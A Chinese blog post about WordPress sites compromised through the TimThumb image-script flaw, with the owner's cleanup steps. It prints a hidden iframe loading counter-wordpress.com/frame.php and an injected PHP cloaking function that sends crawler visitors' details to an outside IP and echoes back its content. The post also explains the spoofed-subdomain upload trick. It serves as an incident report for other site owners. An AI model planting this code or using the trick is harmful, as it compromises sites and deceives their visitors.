wordpress主题中一个很常用的处理图片的工具timthumb.php因为远程存储文件时候的验证上不足而产生了漏洞,允许在cache文件夹中执行一些php脚本,这已经不是什么秘密,可我就是中了招。 某天打开网站,发现服务器上所有的wordpress网站在firefox中都会打开一个弹出窗口,提示下载frame.php,这应该不是代码本意,不知道我的firefox出了啥问题,其实是在源代码里多了隐藏的iframe,用firebug查看源代码,可以看到下面的内容

<iframe id="iframe" src="%20http://counter-wordpress.com/frame.php" style="width: 1px; height: 1px;">

这个couter-wordpress最近很多人都感染了,在wordpress的官网逛了圈,找到了关于这个问题的讨论帖 http://wordpress.org/support/topic/iframe-hack-3?replies=56 按照帖子里说的方法鼓捣了一通:

1. 用http://sitecheck.sucuri.net/scanner/检查网站,结果当然报告有malware。

2. 根据报告,找到了wp-includes/下的两个js文件被感染,于是乎用干净的文件替换。

3. 主题文件也被感染,header.php被加了一段代码,主题目录下还多了几个php文件,囧。删的删,改的改。。。

4. 删除所有没用的主题。

5. 后来觉得不放心,干脆重新升级了一遍wordpress,然后再用sucuri扫描,似乎没有病毒了。

6. 更改了cpanel、ftp、wordpress的密码。 7. 最后,也是最重要的,升级timthumb.php到最新版本,所有的都要升级。或者干脆不要用它。

折腾了一个遛够,没想到事隔两天,再次被感染,这次变样了,不是搞couter-wordpress,而是对wp-settings.php下手了。 服务器上所有的wordpress网站根目录下的wp-settings.php都被加了一段代码,这段代码会糊弄google bot,为骇客网站带来pr,加的代码只有机器人可以看到,访客看不到。

代码如下:

"Make things as simple as possible but no simpler." – Albert Einstein
TimThumb attack now changing wp-settings.php

The TimThumb attack seems to continue, now changing the wp-settings.php file.

This function is added to the end of the file:

function google_bot() {
        $sUserAgent = strtolower($_SERVER[‘HTTP_USER_AGENT’]);
        if(!(strpos($sUserAgent, 'google') === false)) {
                if(isset($_SERVER[‘REMOTE_ADDR’]) == true && isset($_SERVER[‘HTTP_HOST’]) == true){
                        $ch = curl_init('http://91.196.216.30/bot.php?ip='
.$_SERVER[‘REMOTE_ADDR’].’&host=’.$_SERVER[‘HTTP_HOST’].'&ua='
.urlencode($_SERVER[‘HTTP_USER_AGENT’]).'&ref='
.$_SERVER[‘HTTP_REFERER’]);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
                        $re = curl_exec($ch);
                        curl_close($ch);
                        echo $re;
                }
        }
}
add_action('wp_footer', 'google_bot');

于是,一个一个删除,不知道下一步该干啥了,不清楚还有什么漏洞没搞好,只能清除了以后经常用sucuri扫扫,这段代码加在wp-settings.php的结尾,有的多加了几个空行,导致进入后台的时候会报header错误。 最近wordpress出了安全问题,要多注意注意自己的网站,被列入backlist就不好了。

补充内容:关于timthumb脚本漏洞

数十万WordPress用户目前似乎正遭受图像处理脚本Timthumb的威胁,这是一个相当受欢迎的第三方 脚本,它可以实现动态图像裁剪、缩放和调整,脚本的文件名是timthumb.php,该文档定义了数个可以远程提取的相册,但脚本并没有很好地验证这些 域名,因此类似“http://flickr.com.maliciousdomain.com”这样的欺骗性二三级域名也会被通过,所以黑客理论上可以用任何域名后缀轻松仿冒,并通过缓存目录上传各种恶意程序。
目前在Google搜索这一脚本的文件名,一共返回了39万个结果,这意味着这些博客全部遭受安全漏洞的影响,所以如果您运行着WordPress和Timthumb,请尽快做出行动修补或者暂停运行。